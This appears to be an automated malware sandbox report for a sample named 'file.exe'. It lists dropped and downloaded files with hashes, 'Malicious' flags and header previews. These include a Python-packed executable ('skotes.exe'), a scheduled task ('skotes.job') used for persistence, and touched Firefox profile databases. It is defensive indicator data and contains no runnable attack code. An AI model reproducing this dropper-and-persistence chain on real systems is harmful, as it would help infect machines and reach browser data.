C:\Users\user\AppData\Local\Temp\_MEI79282\python310.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	4453776
Entropy (8bit):	6.4554098557218
Encrypted:	false
SSDEEP:	49152:wplyWz2QcN6iPdzYjz0AMs9Kt2KnX0OCpFLoFnAcECdNCsugztL0DD9fIysVHkDx:sximj29G5H+ywH+MWqlgdMW
MD5:	C6C37B848273E2509A7B25ABE8BF2410
SHA1:	B27CFBD31336DA1E9B1F90E8F649A27154411D03
SHA-256:	B7A7F3707BEAB109B66DE3E340E3022DD83C3A18F444FEB9E982C29CF23C29B8
SHA-512:	222AD791304963A4B8C1C6055E02C0C4C47FCE2BB404BD4F89C022FF9706E29CA6FA36C72350FBF296C8A0E3E48E3756F969C003DD1EB056CD026EFE0B7EBA40
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U...4...4...4...A...4...[n..4...A...4...A...4...A...4...L...4..zF...4...4...5...A..i4...A...4...Al..4...A...4..Rich.4..................PE..d....y.a.........." .....j#..^!.....l.........................................E......ND...`...........................................<.....X.=.\|....pD......PB.......C.......D..t....$.T...........................0.$.8.............#.(............................text...>h#......j#................. ..`.rdata...+....#..,...n#.............@..@.data.........=.......=.............@....pdata.......PB......DA.............@..@PyRuntim`....`D......RC.............@....rsrc........pD......VC.............@..@.reloc...t....D..v...`C.............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\select.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26000
Entropy (8bit):	6.339693503329678
Encrypted:	false
SSDEEP:	384:NUTqPjk/7e12hwheCPHqqYBsVRXPdIG7GxIYiSy1pCQFC67hEQ:iTgUC2hwh7HqbYVPdIG7GmYiSyvD7hF
MD5:	431464C4813ED60FBF15A8BF77B0E0CE
SHA1:	9825F6A8898E38C7A7DDC6F0D4B017449FB54794
SHA-256:	1F56DF23A36132F1E5BE4484582C73081516BEE67C25EF79BEEE01180C04C7F0
SHA-512:	53175384699A7BB3B93467065992753B73D8F3A09E95E301A1A0386C6A1224FA9ED8FA42C99C1FFBCFA6377B6129E3DB96E23750E7F23B4130AF77D14AC504A0
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......... ...N...N...N......N...O...N...K...N...J...N...M...N.t.O...N...O...N...O...N.t.C...N.t.N...N.t.....N.t.L...N.Rich..N.................PE..d....y.a.........." .........0............................................................`.........................................`@..L....@..x....p.......`.......F..........H....2..T............................2..8............0...............................text............................... ..`.rdata.......0......................@..@.data........P.......4..............@....pdata.......`.......6..............@..@.rsrc........p.......:..............@..@.reloc..H............D..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\unicodedata.pyd

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1118608
Entropy (8bit):	5.375765997910847
Encrypted:	false
SSDEEP:	12288:ArlBMmuZ63NNQCb5Pfhnzr0ql8L8kdM7IRG5eeme6VZyrIBHdQLhfFE+uOVg:mlBuqZV0m81MMREtV6Vo4uYOVg
MD5:	D1182BA27939104010B6313C466D49FF
SHA1:	7870134F41BA5333294C927DBD77D3F740AC87E7
SHA-256:	1AC171F51CC87F268617B4A635B2331D5991D987D32BB206DD4E38033449C052
SHA-512:	EF26A2C8B0094792E10CEABBF4D11724A9368D96F888240581A15D7A551754C1484F6B2ED1B963A73B686495C7952D9CB940021028D4F230B0B47D0794607D0F
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|.$z8OJ)8OJ)8OJ)17.)>OJ)j:K(:OJ)j:O(4OJ)j:N(0OJ)j:I(;OJ).:K(;OJ).=K(:OJ)8OK)iOJ).:G(9OJ).:J(9OJ).:.)9OJ).:H(9OJ)Rich8OJ)........................PE..d....y.a.........." .....B..........`*.......................................@......5.....`.............................................X...(........ .......................0......0L..T............................L..8............`..x............................text....A.......B.................. ..`.rdata......`.......F..............@..@.data...............................@....pdata..............................@..@.rsrc........ ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI79282\zlib1.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe
File Type:	PE32+ executable (DLL) (console) x86-64 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	108544
Entropy (8bit):	6.422076432206121
Encrypted:	false
SSDEEP:	3072:wLmjK8n5MYk+NqZSB23eRenGvTBfs9Yy0J:wLl8n5MYCjFnaTBwYy0
MD5:	5EAC41B641E813F2A887C25E7C87A02E
SHA1:	EC3F6CF88711EF8CFB3CC439CB75471A2BB9E1B5
SHA-256:	B1F58A17F3BFD55523E7BEF685ACF5B32D1C2A6F25ABDCD442681266FD26AB08
SHA-512:	CAD34A495F1D67C4D79ED88C5C52CF9F2D724A1748EE92518B8ECE4E8F2FE1D443DFE93FB9DBA8959C0E44C7973AF41EB1471507AB8A5B1200A25D75287D5DE5
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d..................".....&.....................b.............................@................ .........................................\|.......x.... .......................0.............................. ...(....................................................text....%.......&..................`.P`.data...P....@.......*..............@.P..rdata...Q...P...R...,..............@.`@.pdata...............~..............@.0@.xdata..l...........................@.0@.bss..................................`..edata..\|...........................@.0@.idata..x...........................@.0..CRT....X...........................@.@..tls....h...........................@.`..rsrc........ ......................@.0..reloc.......0......................@.0B................................................................................................................................

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\Documents\FHCGCAAKJD.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3230720
Entropy (8bit):	6.720147064934108
Encrypted:	false
SSDEEP:	24576:DKw0Lh8d7frwfVdnJsypGa6R5iBHjIwUyv6g6t/AicUvPXVvkIs3H/XL8VI6w6Rq:ed6dSVHsa7/PXuPYR6L4mLpTn9cV
MD5:	0BC8514721CCB995FA1072D8F167D532
SHA1:	8AB7107E7ADBBA9E6FE9362E3BB923706C852797
SHA-256:	C87A5E136FAFD0DA8252D65D01CDE92BB27E8DA419B57EA32F9522855D0A948D
SHA-512:	488F786A09667183A954126BAE120C1131015D2AA94EEE1D56563E209418D3330AABE5E373D17EB682298FBCC00A801549C039D52A4778AB1C844D28505C6CE5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....<.1...@.................................W...k...........................`<1..............................<1..................................................... . ............................@....rsrc...............................@....idata ............................@...rxvxvspl..........................@...qzwxpcbw.....@1......$1.............@....taggant.0...P1.."...*1.............@...........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 13:29:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.978086992105773
Encrypted:	false
SSDEEP:	48:8cOdMTwQsH6idAKZdA19ehwiZUklqehgy+3:8uHR/y
MD5:	52DA692F5B0004758DB1409E24328571
SHA1:	D7F8E090FD52645929D87AFBA64E899421345AD6
SHA-256:	408ED8C729BC499E5C7D05A459571F7EC712D6E43ED8F77A992FD9C2995D2031
SHA-512:	C5AFD43732FE5108262FE88FC5B405190347DA57A36161B844772757C46192EB22F1965B5B654DDEE8586237797BF5E28AF566D85337672723B5038EEC52E8B0
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....M-.FJ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.s....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.s....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.s....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.s..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.s...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............0.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 13:29:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9968173486234457
Encrypted:	false
SSDEEP:	48:8XNOdMTwQsH6idAKZdA1weh/iZUkAQkqehvy+2:8zHj9QWy
MD5:	A0B67DDA7766A9F3EF973D8AB546B946
SHA1:	26101856B5322DBB9D1A668DA7E7E8306C45128F
SHA-256:	892223B402F2CD81AB81570A63CB675642E702BBA5973C8A63743BB44C690AB7
SHA-512:	B00F0286925C29AC10B0794B672817518ACE534197D1CEA8C640E30F09699CDA20A3FDCB72AEF3B374D9F3D8D8A9E4786AB514CF7BB251BDCECCFB6BE99AD8D6
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....6#.FJ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.s....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.s....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.s....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.s..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.s...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............0.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.007648985622886
Encrypted:	false
SSDEEP:	48:8x6OdMTwQsH6idAKZdA14tseh7sFiZUkmgqeh7sly+BX:8xYHDnLy
MD5:	C2075831F785C90AEE2B543C6A026B4F
SHA1:	221E333AC8F5C1BE1CFE4D6E18D55AC0594C15C5
SHA-256:	85E47EE28F5E9700ECA3C091230C6776E42AC30B8470BE5041A1245F641E7A7F
SHA-512:	469FC039816047A314BC6898E7483B703729118A1064F3392C61D76B68294CE70F4BFB03838A5A88EE84B4C5836076AD01DF68157DE8BA9F9AB4A3F39399BBAB
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.s....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.s....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.s....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.s..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............0.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 13:29:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9951200355524747
Encrypted:	false
SSDEEP:	48:8KOdMTwQsH6idAKZdA1vehDiZUkwqehTy+R:8oHANy
MD5:	1CB09126FBB8CEC0772FAE2A41D5E5FB
SHA1:	4E57D881308C56FA53176582276CFF06CD5B5201
SHA-256:	EA88C1A96AB15CC67F6DC34249A723016DE496149F950F68F437F342EFAE82F1
SHA-512:	57DEE9F93F1C16C7C01B2405BB38FC143D6CD77CCF37B79127BD338EEA3C7B04651BD88BED5CDB1C334A66DED005D03B0F8745BA52715A15238833AE3C79C354
Malicious:	false
Preview:	L..................F.@.. ...$+.,....A...FJ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.s....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.s....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.s....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.s..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.s...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............0.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 13:29:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.984456560765094
Encrypted:	false
SSDEEP:	48:8fMOdMTwQsH6idAKZdA1hehBiZUk1W1qehBy+C:8feHg9hy
MD5:	D0ACC5CE6291D2F880A840DC4D08731E
SHA1:	DBEBD5208C2778B3AA03C126A135BF4FA5A738DC
SHA-256:	7B3B6F256FD469CDAE29009DF9EEF973919EFBD803587A961C0BE038686F428E
SHA-512:	8051C027D6E77A38F0F34D92E6A5E16AEDA57EB234F36320C5B27AAFD41268E85E05FB690E978D6B5A96D93ADCB6571FF28A45B41090D74F02E7F25AE1600D6D
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....'.FJ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.s....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.s....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.s....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.s..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.s...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............0.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Mon Dec 9 13:29:06 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2683
Entropy (8bit):	3.9919049975657024
Encrypted:	false
SSDEEP:	48:8yMOdMTwQsH6idAKZdA1duT+ehOuTbbiZUk5OjqehOuTbLy+yT+:87HuT/TbxWOvTbLy7T
MD5:	F2D40D43F95D99857F2D9A773F1AEC5A
SHA1:	5C2DB78ABA0A5424C3F0C132978E918DF04C20E5
SHA-256:	00722C600048B2E924CEDF6FEEC31FC1446F62455452088B9B0245EAE6828AFD
SHA-512:	C9AD0F4881CD4A826B168B0646C1F26C539BD6F0D171A73FA4680B89FFC894398D12DDC6D90BBA64A3A8E2E4EE35EBE7B38BF73355C7FDDA913C9C1BD0154688
Malicious:	false
Preview:	L..................F.@.. ...$+.,....-...FJ..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.I.Y.s....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.s....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.s....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.s..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.s...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............0.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Documents\FHCGCAAKJD.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3230720
Entropy (8bit):	6.720147064934108
Encrypted:	false
SSDEEP:	24576:DKw0Lh8d7frwfVdnJsypGa6R5iBHjIwUyv6g6t/AicUvPXVvkIs3H/XL8VI6w6Rq:ed6dSVHsa7/PXuPYR6L4mLpTn9cV
MD5:	0BC8514721CCB995FA1072D8F167D532
SHA1:	8AB7107E7ADBBA9E6FE9362E3BB923706C852797
SHA-256:	C87A5E136FAFD0DA8252D65D01CDE92BB27E8DA419B57EA32F9522855D0A948D
SHA-512:	488F786A09667183A954126BAE120C1131015D2AA94EEE1D56563E209418D3330AABE5E373D17EB682298FBCC00A801549C039D52A4778AB1C844D28505C6CE5
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f.............................P1...........@...........................1.....<.1...@.................................W...k...........................`<1..............................<1..................................................... . ............................@....rsrc...............................@....idata ............................@...rxvxvspl..........................@...qzwxpcbw.....@1......$1.............@....taggant.0...P1.."...*1.............@...........................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\Documents\FHCGCAAKJD.exe
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.429137297748518
Encrypted:	false
SSDEEP:	6:15p5VX55ZsUEZ+lX1CGdKUe6tFXqYEp5t/uy0lH2t0:15pvuQ1CGAFifXVH2t0
MD5:	27A28D1F1AD0424DAC3DC15BB5A8BCA6
SHA1:	DB3F45E9B8E707D37C840BD07D3BE249B2F33E7C
SHA-256:	C84E04A384AE45DEB2F260EA83E5088174AF3E14AA46D493E890374AF0410EB9
SHA-512:	450594A548A4A5FE9157F6D3FF139734C1779310B73E5DDE1A355FC16504F5A8527F27EE25D7B6FEA90ABEA672367F4213B33EF3D534C14745F48243DD7AE6D7
Malicious:	false
Preview:	....+H.;/dH....V..@F.......<... .....s.......... ....................9.C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........A.L.F.O.N.S.-.P.C.\.a.l.f.o.n.s...................0...................@3P.........................

Chrome Cache Entry: 203

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3367)
Category:	downloaded
Size (bytes):	3372
Entropy (8bit):	5.851136988248659
Encrypted:	false
SSDEEP:	96:YTliJaRg01PUR1ZiVc7KzW6pFx+ffffQo:YJ6ai01sR1Ioe6
MD5:	AB1E26F56F2182FC042F60702BFD9A49
SHA1:	693637D7A7262FE7735701927168980CE65250BF
SHA-256:	A133387DFE89C12EE9B8EAA5362B0B591926A81C82827F1D40ED24A7F5893358
SHA-512:	EE968BC2EA2E089AF9E703A53528D42583A69E092632BD2A932F1A4D157C9E0AEE7E6108B396F639E07E622B8A9B45D975608AE941598800440B49055E899CCA
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["manchester united dan ashworth","dorothy ruby slippers auction","infinity nikki steam deck","weather forecast snow storm","palantir stocks","baltimore orioles","apple ios 18.2 release date","snowball derby results"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CggvbS8wMWQ2ZxINQmFzZWJhbGwgdGVhbTKODmRhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBRUFBQUFBbENBTUFBQURGamg4RkFBQUE4RkJNVkVYLy8vL2lSd0hmUmdIbFNBRG1SUURtUWdDenZiL3U4L1RwU0FDSEFBQjdBQURJeU1qa1B3RGFPZ0NrcnJEVU5nQ0FBQUROMU5hVkFBRFo0T0p5QUFDZ0ZBREtNUUIyRHdDd0hBQ2FEZ0M1SndEd1JRQytKd0RqNk9tSmUzajArZnFFaDRoM1RrVjZIZ0N3dExWaFBqYVhMUUJnTUNTckpRQnhHQUNXbko1K2RYTjdXMVdDZ0grb0R3Q0lqNUJiSGdacFMwUzRPQUJ5WUZ5REpRQ3NNZ0JiTXlsbFUwOXVQak4zaTQ2UElBQmxaV1UvSXh5OHljdWRJUUJ1ZUhwc0pnNTJNaDR3RHdCek95MkpOeDVLTXk1WkNBQ0RiR2hoQU

Chrome Cache Entry: 204

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 205

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133000
Entropy (8bit):	5.43581849899616
Encrypted:	false
SSDEEP:	3072:fkkX33ov7GsG688fJbk/5xnsLLWjwR2i6o:ff3lr6t2/5xnsLawR8o
MD5:	E98C6EDE6D02718DAF38401C00459B4D
SHA1:	0CC83D61851D31BBF6F575B55C822E4275A3931E
SHA-256:	CC63DA84EB63DA5202DB47698CC4E6294DBCDB000313D636AA0CD6714284D60F
